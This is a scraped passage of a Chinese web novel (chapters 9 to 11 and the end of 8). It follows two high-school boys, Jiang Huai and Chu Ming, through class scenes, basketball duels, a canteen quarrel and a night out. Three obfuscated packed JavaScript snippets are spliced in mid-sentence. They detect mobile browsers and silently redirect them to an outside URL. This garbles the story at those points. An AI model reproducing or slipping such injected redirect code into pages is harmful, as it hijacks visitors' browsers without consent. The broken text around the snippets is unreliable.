“班上的同学一直很听话,但你才来两天不到,我就在通报批评名单上看到好几次你的名字。你知道人是要面子的,人活一张脸树活一张皮,老师也一样,你说是不是这个道理?” 江淮嘴角随意地扬了下:“是。” 他这个笑容有点瘆人,大马猴看得有些没底,从心地把语气放缓了些: “没事,你才来没两天,规矩不明白也正常,慢慢慢慢就习惯了……老师相信你。” 等他劝导完,跑操的队伍陆陆续续回到教室。 浓郁的汗味顿时飘满整间教室。 江淮一把把窗户推到底,让外面燥热的空气流动进来。 前桌只感觉后背跟着火了一样炽热,刚准备喊救火,扭头见江淮像马桶上的思考者一样用晦暗不明的眼神望着窗外。 他叹了口气,默默地忍受烧背之苦。 语文课语文老师进门时拎着个本子。 在放映台上做了个投影。 四十多个脑袋完全同步地抬了起来,聚精会神地看向投影的内容。 “江淮同学,我想请你跟我解释一下,”语文老师用戒尺指了指屏幕,“前两行还是楷书,后面一大片就全成行书了,请问哪一部分是你写的?还是说两部分都不是你写的啊?” 江淮能站起来了。 他站直,说:“后半部分我写的。” 语文老师没想到他一点不觉得这是件该丢脸、该放低态度的事,反倒是回答得理直气壮。 她不禁问道:“那前一部分谁写的?” 江淮问:“重要吗?” 语文老师:“……” 她瞬间想起上课前在老师群里听到的历史办公室传出的八卦。 她还以为是这些老师小题大做刷存在感,没想到刚跟新同学对上,她就差不多感受到了火力。 语文老师双手撑着讲台:“那你觉得什么重要?” 江淮看着她:“重要的是我没百分百完成默写任务呗。” 语文老师:“……”刺头好像也没那么刺。 她收起如临大敌的气场,“那既然你知道,就记得重新默写一遍,晚自习前亲自交给我。” 江淮应了声:“哦。” “坐下吧,”语文老师走到那份默写旁,要取下时顿了顿:“该说不说,字儿挺漂亮的。” 教室里哈哈大笑起来。 “高考作文要有这个字,我是说前两行的字,作文保底有个48,”她笑了笑,“至于江淮同学的字,更适合大学阶段,高考考场的话,就有点看阅卷老师喜恶。” 江淮嘴角抽了一下,偏头问:“你们语文老师叫什么?” 楚明秒答:“卫疏。” 江淮说:“她字盲吧,你那字这么有辨识度她认不出来?” 楚明顿了一下:“……我平时不这么写。” “呵,”江淮冷呵一声,“你他妈牛逼,还打掩护呢?” 楚明在心里轻叹,叹完说:“……楷体写着累。” 江淮挑了下眉:“那你平时怎么写?” 没等楚明做出示范,就见卫疏走了下来,高跟鞋噔噔的,她把戒尺立在楚明课桌右上角,看着江淮:“你们在讨论什么?” 江淮说:“在讨论,保底48分的字是谁的。” “你才来几天认识几个人?”卫疏嗤笑一声,“你跟楚明活体实验鸡同鸭讲吗?” 扭头看过的同学发出一阵爆笑。 还有扬起嗓子拽自我介绍的:“哎江淮同学我叫xxx……” - 语文课结束后,睡完一节鸟语版数学课,便迎来了长达55分钟的体育课。 陈炜走过过道时拍了下楚明的头:“记得叫江淮上课!” 楚明微微点了下头:“……嗯。” 江淮自下课便没了人影,楚明坐在教室等半天也没等到他。 教室里空无一人,时钟指针即将走满两格。 楚明很轻地叹息一声,准备先去上体育课。 他把黑笔放下,正要起身就见门口一条人影逆光进来,高大的身影两秒内骤然压到了自己面前。 走近时,他看清了江淮手中的几张纸。 是十遍历史线罚抄。 没等他反应出点什么,下一秒,衣领被暴力拽住,他被江淮扯着领口一把抡到后面墙壁。 江淮的一只脚踩到他大腿旁,定在座椅边缘处。 “我问你,”江淮把他拽向自己,鼻尖撞到鼻尖,他也没管疼,问:“你叫江淮我叫江淮?” 楚明从咬紧的牙缝里挤出一句:“……你。” “哦原来你还知道啊,”江淮把历史线竖在他面前:“那你署名署什么江淮?” “我……”楚明想把头往旁边偏一下。 他连呼吸都是收紧的,只略微一松,气息便会尽数扑到江淮的脸上。 他还没这个胆量。 江淮立刻把他的脸扳回来,狠声:“你要是说不出个所以然来,我他妈在这办了你!” 楚明咬牙,说:“……我还你人情。” 江淮拧眉:“什么人情,我他妈怎么不知道你欠我人情?” 楚明说:“我昨天不小心把你撞晕了。” 说出来的时候楚明是有一点后悔的。 这话听着,的确不是什么好话。 他面前站的可是江大面子,他随口一句说给江大面子撞晕了…… 完全不出所料,江淮脸都黑了半个图层。 他声音里带着火气:“你放什么屁!” 楚明无言以对:“……” “还有我是不是说过别他妈把你那点正义感用我身上,”江淮咬牙切齿地说,“事不过三,你要再敢替我做什么,我他妈绝对办了你!” 说完他一把松了楚明。 楚明剧烈地喘息了两声,抬手把领口拉正。 余光瞥了眼正半块屁股坐他桌上、扫视着那十遍罚抄的江淮,他出声说:“体育课,不能缺席。” 开口时才发现自己声音有些嘶哑。 可能憋气时压着声带了。 江淮掀起眼皮刺了他一眼:“你有病吧?” 楚明:“……” 江淮把手撑在桌面,上半身朝他压去:“你在班上当什么职位?” 楚明低声说:“没。” “那你管个屁。”江淮长手一挥捞过自己桌上的矿泉水,拧开瓶盖朝他抛了过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16295018|182703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 楚明手忙脚乱地接住,看了他半晌才喝了一小口。 江淮眉毛依旧下压,不悦地看着他:“我现在烦你的程度不亚于烦我爸妈的。” 楚明:“……” 他才喝进去的水猛地呛进鼻腔。 强烈的不适感升腾,他迅速埋头,扯了张纸按住侧边鼻子,好一会儿才缓过劲来。 “你干嘛?” 江淮扯掉他手上的纸,见他遮遮掩掩的,手指滑到他脖颈便直接把他下巴往自己的方向一抬。 鼻尖微微发红,其余没什么异样。 见没流鼻血,江淮收回了手。 “……”楚明被他这动作弄得险些遭遇二次伤害。 他顺好呼吸,轻声说:“我没想管你。” 江淮挑了下眉:“你说胡话不打草稿的吗?上一秒哪个傻逼在催我上体育课?” 楚明一噎:“……体委让我喊的。” “体委是你爸还是你妈你要那么听他的话?”江淮皱着眉看他,“你要真那么想孝敬人不如去操场磕几个响头,为人民谋福祉,还他妈能满足你那颗全是正义感的红心。” 楚明完全说不出话来。 江淮哼了一声:“我今天不上体育课你会怎样?” 楚明摇了摇头:“……不知道。” 江淮继续说:“那你猜我烦你了你会怎样?” 楚明有些不妙的预感,索性不再出声:“……” 江淮夺过他的水瓶,拧上瓶盖,烦躁地说了句:“他妈的我上,行了吧?” 楚明眼睫轻颤,意外地看着他。 也是这时候,他才发现:江淮不知何时换上了全套校服,连秋季外套都穿着。 “别他妈看我,”江淮支在地上的腿伸直了,把水瓶往空中转了一大圈接住,说:“你自己又不是没有脸。” 楚明默默地跟了上去:“……” - 到操场时,班级热身运动正在进行。 除个别身体有病痛的,21班四十几名大将正绕圈挥洒汗水。 “新面孔啊,”体育老师转过来看了江淮一眼,“个头不错,体型不错,能打篮球不?” 江淮的脸肉眼可见地黑了。 他默然半晌,才扯出一声笑:“能啊,赢你不是问题。” “你小子这么狂,”体育老师明显乐了,“等会热身完来一局?” 江淮笑意不达眼底,语气轻飘:“行啊。” 体育老师朝边上篮球场努了努下巴,又甩了甩挂哨绳:“新场地,玩着爽——诶,等等,你俩咋没跑圈呢?” 楚明用脚尖踢了踢地上的碎石子,没有说话。 随时准备去补跑两圈。 江淮则处于一种完全自如的状态:“我俩交流感情呢。” 楚明石子没踢明白,反倒是被江淮的话踢了个踉跄。 “怎么着?”体育老师略显诧异地看了眼楚明:“楚明也要一起打吗?一直没见他打过,我以为他不会呢。” 楚明轻声说:“我不会。” 江淮用肩膀撞了下他肩膀:“真不会?” 楚明点头:“……嗯。” 江淮歪了下头,五指张开圈住他大臂,捏了捏;紧接着弯了弯身,双手环住他大腿,用力捏了捏。 “你这肌肉告诉我你不会篮球,”他说,“觉得我瞎还是我傻?” 9. 第 9 章 楚明沉默着没有说话。 “哟,看来楚明同学深藏不露啊,”体育老师看着江淮用手圈出来的肌肉形状,其实看不出个啥,他单纯捧个场,说:“男生的青春没有篮球哪能算作青春,是吧?” 江淮松开了他大腿,看了他一眼:“会打但不想打,是不是?” 楚明心说胳膊腿都让你摸了还能不承认么,只能轻轻一声:“……是。” “那就不打呗。”江淮说。 楚明垂在腿侧的指尖轻轻一跳,像是哪块细胞突然膨胀了似的,他低眸看了眼指头。 跑圈结束进行列队。 体育老师给江淮排到了队形最末尾,正好在楚明身后。 以前楚明身后是空着的,这会儿往后弓步压腿,他转过身来就迎面对上江淮的脸,条件反射性猛地别开了眼。 江淮:“……” 他就保持着往前弓步压腿的动作,鞋尖几乎是贴着楚明鞋尖的。 他往前压深了些,说:“我长得就这么吓人吗?” 楚明上半身挺着,好半天才说:“……没有。” “那你刚才那眼神是什么?”江淮压低声音说:“我脸上飞了把刀出来扎着你了吗?” 楚明默默垂下了头:“……” “新同学动作慢多少拍了都!”体育老师晃了晃他金黄挂哨绳:“转过去!” 江淮抬了下头:“知道了。” 说完这几个拍子的动作就宣告结束,江淮收腿后直接站了起来。 高考不比中考,没有体育成绩这一项。 所以高中体育老师一般只活在同学们美好的愿景里,就好像一场梦。 八中教育改制以来,唯一深受广大学生好评的便是:“体育课应上尽上,不得随意改课。” 高中生久坐,什么身体素质老师心理清楚。 一般是混完跑圈和热身,就自由活动时间各玩各的。 “买了零食不要围着树坛坐一圈吃,不要提前去食堂,也不要回教学楼,小心被查到。”体育老师照常叮嘱完,一吹哨子照例开躺:“解散吧,自由活动!” 哨声一落便是经典人类返祖现场,plus版。 江淮拽了下楚明的袖子:“你干嘛去?” “我……写作业。”楚明指了下看台,上面稀稀拉拉坐着十几个学生,人均大腿上放着一两本教辅。 江淮沉默片刻,说话时声音小了一些:“你陪我打篮球。” 楚明看了他一眼:“我打得不好。” “没让你打啊,”江淮说,“你看着我打。” 楚明一愣。 江大面子不愧是江大面子,打个球还得先拉个人来捧场。 他上下嘴唇轻轻一抿,“……我不合适。” “又不是谈恋爱要个屁的合适,”江淮拽着他往篮球场那边走,说:“你就在外面守着看我。” 楚明轻顿,还是顺着他的力在走。 江淮拉他的力度其实很轻,隔着袖子连皮肤都没碰到。 “如果我受伤了,”江淮突然顿了下步子,楚明一个不留神鼻子磕到他背上,得亏是避开了他凸出的肩胛骨,不然高低得撞个大出血。 江淮拧了下眉:“你他妈走路不看路啊?” 楚明伸手捂了下鼻子:“……刚没注意。” 江淮把他捂着的手拍开,往他鼻翼那处摸摸探探,得出结论:“屁事没有,鼻子挺硬。” 楚明吸了下鼻子:“谢谢。” 江淮挑了下眉:“这就感动哭了?” 楚明说得小声极了:“……痒。” 江淮拽着人直接去到篮球场内。 “体委借球来就开打,”黑高个儿朝江淮看了眼:“哥们技术怎么样?” 江淮上下扫了扫他:“勉强打趴十个你。” 楚明别开视线:“。” “……”黑高个儿沉默了一瞬:“哥们我拭目以待。” 江淮说:“随你。” 楚明被江淮安置在球场界线以外,树荫铺了一地,他坐在上面把习题册打开。 “交变电流变压器的原副线圈的匝数比4:1,输入电压随时间变化的……” 他题干还没扫完就听见江淮喊了声自己的名字。 他茫然地抬起头。 “帮我拿下衣服。”江淮站在炽烈的阳光里,微微眯着眼睛看他:“谢谢。” 楚明两指夹住笔,两只手掌摊开往前伸了伸。 江淮把才环在腰上的校服外套丢了过去:“别扔地上啊。” 楚明不动声色地收回正要把外套拿来垫屁股的动作,眼珠胡乱转了转:“……哦。” 陈炜拿着押来的篮球进场时,直接把球掷给了江淮:“哥们,来局单挑!” 江淮接住。 “来!我防守你进攻。”陈炜两步切到线边,说:“兄弟们给点激情!” “Wuhuuuuuu!!”围在半场外的几十号人一同尖叫。 男生吠得像捶胸的猩猩怒吼,女生喊得跟啦啦队似的。 江淮面上平静无波地看了他一眼,“喂!” 陈炜愣了一下:“这么快怕了?” 江淮嘴角轻勾了下:“我说:开始了。” 话落他开始运球,脚下运动的同时他目光紧锁着陈炜左右扑棱的动作,在他切进阻攻的时候一个利落地闪身,高高跃起“嘭”地一记暴扣! “我操!” 往热油锅里甩了几滴水一样,瞬间油锅炸热四溅着沸腾,场线外的人还没看清江淮的动作就跟被戳了机关按钮似的下巴疯狂脱臼,发出洪水猛兽般的尖叫。 “五秒,牛逼。”黑高个儿吼了句。 陈炜还僵硬着刚刚饿狼扑食的姿势,扭头见江淮呼吸四平八稳的,汗都没出一滴。 “你练过?”陈炜抹了把汗。 江淮冷哼一声:“你这水平确实像没练过。” 陈炜噎住:“……” 文科班男生不多,打篮球的男生更是少之又少。 江淮轻而易举单挑完一路,最后就剩个黑高个儿,他拿着球,呼吸平稳。 “来!”黑高个儿朝他拍了拍手,“赢了我我告诉你我名,输了你叫我爸爸。” 他话一落,口哨声和“哟咦哟咦”的声音此起彼伏。 江淮冷哼一声:“傻逼。” 黑大个儿是校篮球队的,高一进校时曾风云过一段时间,收割了大批迷弟迷妹。 打个球收的矿泉水能开个小卖部。 他个人能力突出,比起绝大多数高中生,有着相当的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16295019|182703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 型碾压优势。 虽然现在他的长相越来越不得人青睐…… “黑哥加油!往死里防!” “黑哥黑哥!新一届威斯布鲁克!!” 江淮像没听见似的,跟黑个儿打了个手势,脚风瞬间凌厉。 黑高个儿习惯贴身肉搏,整个人贴紧江淮近距离强势防守……江淮最他妈烦这种人,若说一年以前的他绝对不会有任何脾气。 但现在是一年后,他康复训练持续一年后…… 江淮来了脾气,根本不顾什么友谊第一比赛第二,不犯规的情况下超高速跃起,又是一记漂亮的暴扣! “操?”黑高个儿愣了一下:“哥们你好猛。” 江淮喘过那股气:“滚蛋。” 黑高个儿蹦了一下:“哎!我叫赵逵逵,有兴趣来我们校队吗?” 江淮下场后,径直朝楚明走了过去。 楚明缓缓地从习题册上抬起视线,目光从江淮被阳光照亮的汗珠上掠过,把边上的水拧松后递给他。 江淮拿过水猛灌了几口。 江淮下巴点了点他:“厕所在哪?” 楚明拿笔指向身后:“男左女右。” 江淮把瓶盖拧上:“废话,用你提醒?” 楚明很轻地叹了口气:“……我是说长房子的一左一右。” 江淮看了一眼。 操场外沿建着近两百米长度的砖红矮房,中间分设多个器材室,两端分别设置男女生用厕所。 江淮抬手刮蹭了下鼻尖:“……哦。” 哦完他快步走向左侧建筑。 - “楚明同学,你跟江淮是同桌,能不能帮我问问他的联系方式啊?” “我也要我也要!” “我刚买的糖和水,你帮我转交给他,我叫赵欣宇。” “我想问一下,江淮是走读还是住校啊?他喜欢吃什么?甜口咸口的?” …… 楚明笔尾轻轻敲着教材书。 他目光落在越堆越多的零食上,耳边的声音愈发尖锐,他走了会儿神,再度凝神时只听到: “你装什么呢?江淮又不是主动跟你坐同桌,你当他同桌拽个二五八万的,真当自己是谁了。” “要不到他联系方式你就等着作业翻倍吧!” “我怎么记得下周该我们扫厕所?劳动委员要怎么安排啊?” …… 篮球半场上还在进行着激烈的对抗,欢呼与怒喊却硬生生少了大半。 江淮从厕所跑回来时,脚步一顿。 楚明还保持着他走时候的姿势,垂眸聚精会神地看着练习册——而身后半包围着一众男男女女们。 只是比起三五分钟前,他这会儿在走神。 江淮冷哼了声:傻逼玩意儿。 他径直走到楚明面前,俯身蹲到他面前轻轻拍了拍他的脸:“醒醒。” 楚明轻颤,微抬双眼看着面前的人。 见来的是江淮,围着的半圈人说话声音也愈发地小,到最后一声不吭,默默地往外退开一步。 见楚明清醒过来,江淮单手架起楚明,把他一把拉到自己身后,抬了抬下巴,锋利的目光从左扫到右。 冷声:“一群傻逼。” 一群人:“……” 10. 第 10 章 十分钟的时间不到,校园墙前所未有的火热、拥挤。 江淮怒斥同班同学“一群傻逼”的视频以超低像素被传至网上,同一时间,江淮同学在历史办公室怒怼徐红梅原声传出。 议论纷纭。 【6L:能说吗?他长啥jb样啊狂成这样?】 【69L:有一说一,颜值不是突破口,喷子请另寻出路。附.江淮球场喝水.jpg】 【186L:我是21班学生我作证,他说话真的很脏人也是真的很烂。】 【379L:不尊师重道、不友爱同学,够不够记过处分?】 【618L:不愧是我封的二十一班带刺玫瑰,够刺!】 …… - 楚明站在食堂窗口前:“阿姨一份青菜一份白萝卜牛肉,谢谢。” 江淮站他身后:“一样。” 阿姨两勺颠完,把盘子递给他俩。 找到正对食堂空调的位置,江淮坐下后没急着动筷子,而是面色发沉地看着楚明。 楚明埋着头安静地吃青菜。 “你屁股刚才是让502粘地上了吗?”江淮不悦地说。 楚明筷子一抖,青菜掉回了盘子里:“……” 江淮继续不悦:“我跟你什么关系?” 楚明很轻地说:“……同桌。” “你知道同桌是什么关系吗?”江淮说,“就是屁都没有的关系。” 楚明咬着筷子头:“……哦。” 江淮说:“哦个屁啊,我什么意思你没听懂吗?” 楚明费解地拔出筷子,看着江淮盘子里的菜:“?” 江淮没好气地说:“我俩没关系,你他妈不用因为我的名字停下来,烦了转身就走。听懂了吗?” 楚明轻轻地:“……嗯。” 江淮特烦这种一棒子下去闷屁都打不响的人,拧眉说:“嗯什么嗯,你重复一遍!” “……”楚明在内心深处叹了叹气:“我和你没有关系,我不用因为你的名字停下来,烦了转身就走。” 可是, 这是他想走,就能走得了的吗? 江淮嗯了一声:“吃饭!” 楚明筷子在青菜里翻找着,好不容易找到爆炒开的蒜末并挑了起来,正要往嘴里放,就猛地被人拍了拍胳膊。 蒜末掉回盘根错节的青菜丛中。 楚明:“……” “兄弟,你去旁边找个座呗,”赵逵逵拍着他胳膊,一手端着盘子,“我找我大兄弟唠唠嗑。” 楚明把筷子横放到盘子上:“……好。” 说着直起身子,刚要走开,小腿却突然被另一条腿用力勾回去,缠得很紧。 楚明险些摔下去,眼睛瞬间瞪大了,看向对面的江淮:“你……” “坐下。”江淮微抬着下巴说。 楚明眼睫扑闪着,思忖半刻后重新坐了下来。 江淮的腿没跟着收回去。 “嗯?”赵逵逵看了眼江淮,不甚理解,“哥们什么意思?” 江淮睨他一眼:“滚去旁边找座。” 赵逵逵抓了把后脑勺:“哦我以为你俩不熟才这样的……那我坐旁边跟你唠唠嗑,行吧?” 江淮收回腿,埋头继续吃饭。 “吃完我们再去打一轮呗?你进攻太猛了,根本没有防的余地,”赵逵逵拽了块肥腻腻的红烧肉进嘴里,“要不等会我进攻你防守,我再探探你的底儿?” 江淮把青菜翻了一圈找蒜末,闻声,说:“你过不了我。” “不试试怎么知道呢?”赵逵逵把筷子捞起来指着天:“我打过好几场高中联赛,还跟职业球员对过招,他们说我有潜力呢。” 听到职业球员时,江淮顿了下,说:“潜力着吧,关我屁事。” “……大兄弟你说话是真帅啊,”赵逵逵抬手就要搭他胳膊上,刚碰到就被江淮两根筷子夹住了手往外一掀,而后听他吼道:“你他妈别动手动脚。” 赵逵逵摸了下手:“你反应速度牛逼啊。” 江淮把筷子拍到盘子边缘放着。 斜了他一眼:“你真挺傻逼的。” 赵逵逵转转手腕,起身拿了副新一次性筷子递给他,笑笑:“……我爸说傻人有傻福。” “诓你的,”江淮抹开套子。 赵逵逵继续笑着:“真的吗?但是他们都说我运气好。” 江淮随意地嗯了声:“刚我诓你的。” 楚明很轻地笑了一声。 “笑屁,”江淮飞了他一眼:“吃你的饭。” 楚明埋头鼓起腮帮子朝左右两边努了努,低声应道:“……哦。” - 饭后江淮还真应赵逵逵的提议去篮球场过了一轮。 楚明是被江大面子强行顺过来的。 “没阴凉地,”江淮扫了一圈,把环腰上的校服外套盖在他头上:“等我三分钟就好。” 楚明:“……” 他把蒙住视线的衣服往上提了些,站在线外看着。 “哥们,你帅得有点亮眼啊。”赵逵逵来了几个胯下运球,说:“说真的,来我们校队吧。” 江淮目光锁着他的动作,闻声轻哼:“投进再说。” 赵逵逵毕竟是专业训练过的种子选手。 先不管这颗种子能不能发芽,他至少是颗种子。 他手脚协调能力相当不错,假动作马虎眼儿也打得不错…… 可惜,江淮看着他鬼迷日眼花里胡哨的动作,下意识紧绷住的姿势慢慢泄下去。 他面无表情地看着赵逵逵展示各种“帅气”动作。 等赵逵逵终于起步开始投球,江淮一个起跳拦截住球。 切完球他转身就走:“滚吧,别打球了,去拍mv吧。” “……哎大兄弟我真不是故意的,来来来,这次一定认真!”赵逵逵说着就要抱住他胳膊。 江淮转身扫了眼他的手,他顿时两手毛刺地缩到背后。 “求你了大兄弟,我好久没遇到真会打球的了。”赵逵逵说,“再来一轮,我请你吃雪糕!” 江淮拧着眉说了句:“最后一轮。” “OKOK!”赵逵逵两根手指圈了个圆形,等江淮就位后他严肃面部表情,运球起攻。 江淮的防守跟进攻没什么区别,始终处于快速步伐干扰状态,他不停地上步、刺探步,赵逵逵运着球被迫后撤,好几次抬起护球手,完全过不掉他。 江淮松了一些,留出他突破的空间。 赵逵逵提起一口气重新运球,之后却见江淮对于交叉步的运用堪称熟练,每次都精准预判他进攻方向,完全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16295020|182703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阻截。 江淮看着他漏洞百出的动作:“……” 最后赵逵逵终于实现跳投,被江淮跳起来直接封盖! “你反应是真绝啊!防的比我攻得还猛!”赵逵逵喘着粗气跑去捡球,回来时竖起大拇指:“帅!是真帅!” 江淮扫灰尘一样拍拍肩膀,“走了。” “哦,下次一起呗!”赵逵逵喊道。 楚明默默看完两次单挑,目光扫过江淮左边膝盖时停了两秒,等他走近时把头顶的外套摘下来:“……给你。” “盖着吧,”江淮没接:“正晒。” 楚明把外套重新披回去,犹豫半秒后问道:“……你不晒吗?” 江淮冷漠地说了句:“晒太阳长身体。” 楚明:“……”那也不是晒紫外线啊。 江淮始终没去学校宿舍楼,走到教室往里一坐。 他看着楚明在旁边摁开空调:“你中午不回家?” “嗯,”楚明看了眼窗外能射瞎自己双眼的强太阳光:“太晒。” 江淮说:“学校允许吗?” 楚明心想你居然还会关心允不允许的问题。 他回答说:“允许。” 午休时间一晃而过,大马猴进班守自习时教室里闷闷闹闹一片。 “明天是教师节,”大马猴让班长把两袋子卡片依次分发下去:“每人六张卡片,分别对应语数外政史地老师,在卡片上写你想对科任老师说的话,晚自习最后十分钟我统一收上来。” 有学生起了个哄,于是十几号人纷纷往后看着江淮。 等大马猴嫌教室热出班时,有人大着胆子往后说了句:“师生情,我才来一天有个屁的情,你当419呢!” 声音异常尖锐,就跟没消掉前世记忆的太监转世一样。 教室里笑声一片。 江淮单边眉毛一挑,顶上太监的视线后,抬手竖了个中指。 太监脸一沉,把头转了过去。 楚明余光留意到他的动作,写字的动作跟着轻快了不少。 卡片到手的时候,江淮转了圈笔。 他偏过视线看着楚明:“你怎么写?” 楚明把正在写的卡片翻面盖上:“不……不知道。” 江淮:“……” 他哼了声:“我不看也不抄,我他妈没写过这种,要写什么?” 楚明手指收紧:“节日快乐就行。” “哦。”江淮在黑红笔之间挑挑拣拣最后握住红笔,在六张卡片上依次写下节日快乐。 等他写完无聊地转笔时,余光瞥见楚明还在刚才那张卡片上写着。 写小作文吗? 傻逼。 - 除去第一天没书没笔浑身叛逆不想听课所以闷着脸睡以外,江淮之后没再在课堂上睡过觉。 他把教辅翻开扫了圈目录,黑笔做完一些标记后摸出教材。 安静得跟个好学生似的。 “借张草稿纸,”江淮敲了敲楚明的桌面。 楚明直接把草稿本给了他。 江淮别扭地说了句:“谢了。” 楚明稍稍有些心慌:“……不客气。” 撤回视线时他顿了一下: 高二政治课上写高一数学练习题么? 有意思。 11. 第 11 章 “最后一排和第一排同学同时收,第一排收语数外,最后一排收政史地,各科老师的卡片分开收,原则上不要偷瞄其余同学写的内容。”大马猴在讲台上说。 楚明站了起来。 江淮玩牌似的朝他摊开“卡片花”,说:“随便拿,没抬头。” “……”楚明随手抽走三张。 一并收起时为防止课代表翻看,大马猴将卡片一并装进牛皮信封封口,等放学铃声响起,他说:“放学了,走读生回家要注意安全。” 和他声音同时消失的还有半个班的学生。 等他回趟办公室收拾完东西再回后门一看,便只剩打扫卫生和稀稀拉拉的几个学生了。 见楚明起身要走,江淮拉住他袖子:“你现在要回家?” 楚明僵着没动:“……嗯。” “顺我一道。”江淮站了起来,说。 楚明心说顺不了一点,偏过眼看着被拽着的袖口,却也没能拒绝:“……嗯。” 江淮跟着楚明一路绕到自行车停放点,看他弯腰开锁时,说:“你把书包给我。” 楚明重新挂好U型锁:“……不用。” 江淮点了点头:“那我坐前面骑。” 楚明愣了一下:“……嗯?” 江淮理直气壮地:“你书包蹭着不舒服。” 楚明:“……”你还挑上了。 最后江淮坐前面骑,楚明跨坐在后面。 “后门往哪?”江淮问。 楚明伸手指了下方向:“那个口出去。” 后门关门时间早,一般高三生下晚晚自习的点后门就已经关了。 但现在就刚刚好。 江淮骑着车往外走时借楚明的脸刷门禁,刷出去后他注意着门外的人头们,扫过去粗略看过一眼后直觉不妙。 偏头叮嘱楚明:“坐稳,小心等会飞出去。” 楚明:“……” 他竟还不知道自己的自行车有此等威力! 不过江淮骑出校门口时应该是发现什么人在守他,猛地急转飞了出去——自行车车轮不堪重负地拧巴着颠七倒八地在蹦跳! 楚明:“……” 他在空气中凌乱了两秒手指艰难卡住后座铁条,转过头看了一眼。 和那天追江淮的几个有点像。 等成功甩开几人驶入安全地带,江淮也不知道绕到了城区的哪个犄角旮旯。 江淮手腕压着车把手,问:“往哪走?” 楚明拔出手指:“……我来吧。” 江淮瞪了会前方陌生的路口,才卸下傲气把语气放低:“你来。” 楚明趁他不注意往旁边甩了下有些发麻的手指,要坐到前座时把书包背到面前:“……那个,我——” 江淮拧眉说:“我他妈叫江淮!” “……”楚明背着他轻轻叹气:“江淮同学,我等会要出去一趟……就先送你回去吧?” 江淮坐好,一只手搭在他腰侧虚扶着:“你放心留个陌生人在家里?” 楚明:“……” 岂止,他还不放心要收留个天天有人“追杀”的同桌在家过夜呢! 见他没回答,江淮问:“那你晚上回吗?” 楚明轻点头:“回。” “这样,你载着我去,”江淮说:“我到地儿之后不打扰你。” 楚明偷偷叹着气地蹬动自行车:“……行。” 自行车一路驶向三段路,江淮熟悉的这带。 见穿过零号网咖并持续向前,江淮这才明白过来他昨晚为什么能遇到楚明。 还是在距离放学那么久的时间段。 不过楚明放学后跑这么远出来具体是要干什么他并不清楚。 见楚明把车停在一小区门口后便往里进去了,江淮坐在车上无聊地看着周围的门店。 江淮晚上没去食堂挤,去小卖部摸了个面包简单填塞肚子。 这会儿闻着小吃摊上的香气他咽了口唾沫。 楚明没给他留钥匙,他不能锁车,怕被偷的情况下他骑着车过街,舍弃掉烧烤串串这类莺莺燕燕,孤苦伶仃地到对面沙县小吃点了碗海鲜馄饨。 江淮坐的位置能看到自行车也能看到对面小区。 “同学你高几了?”老板把馄饨端上桌时问了句:“这么晚还没回家呢?” 江淮回头看了眼墙上的时钟:“晚吗?” “都快十点了还不晚呐!”老板就跟听见人死了不火化不入坟扔水上飘一样,带着打破思想边界的深度疑惑与抗拒:“现在的小年轻真能熬啊。” 江淮搅着汤,没有回话。 十点十分的时候楚明站在小区门口。 懵然四顾。 见状江淮勾了下唇起身,坐到车座压着车把手微抬头,朝他在的位置吹了声响亮的哨! 楚明望过去,微愣后穿过马路过来。 江淮坐在前座,扭头看他一眼:“你饿没?” 楚明说着要跨上去:“一般。” “我请你吃饭,”江淮扫了圈各种小吃店,说:“吃什么?” “我……”楚明晚上一般不进食堂,就吃点水果啃点面包,晚上回家不饿不管饿了吃面,这会儿他伸手按了下肚子,说:“烧烤吧。” “早说我留着点肚子。”江淮坐直上半身:“上来。” 上车后楚明偏头看了眼旁边的沙县小吃门店,明白过来他的意思。 在心里笑了笑。 - 楚明往铁盘里放了金针菇、土豆片、年糕各一串,而后对老板说:“您帮我再挑十串素的五串荤的。” 老板显然没被提过这种要求。 但琢磨一下非常上道,直接往最贵的开始捡。 江淮坐在塑料矮凳上看他:“选择困难?” “嗯。”楚明坐到他对面,不知道是不是多了请吃饭的交情,他补充了句:“重度。” “……傻逼你让我帮选啊,”江淮抬起下巴点了点他:“你这不纯送钱吗?” 楚明:“……” 请吃饭的交情瞬间没有了。 他抿唇:“……我忘了。” 江淮在修长笔直的手指间飞转着一次性筷子,闻声说:“下次记得。” 楚明默默地也抽出筷子把玩。 心说:还有下次么? 老板激情四溢地烤完串洒上调味料,端着铁盘便走了过来。 “慢吃啊两位同学!” 楚明吃串也相当斯文。 像烤肠他会咬断小截滚着串地吃,像串蘑菇他会吃掉方便咬的,剩下部分用筷子推到盘里挑着吃。 江淮小腿蹭了蹭他小腿:“啤酒要么?” 楚明没客气,稍作停顿后:“要。” 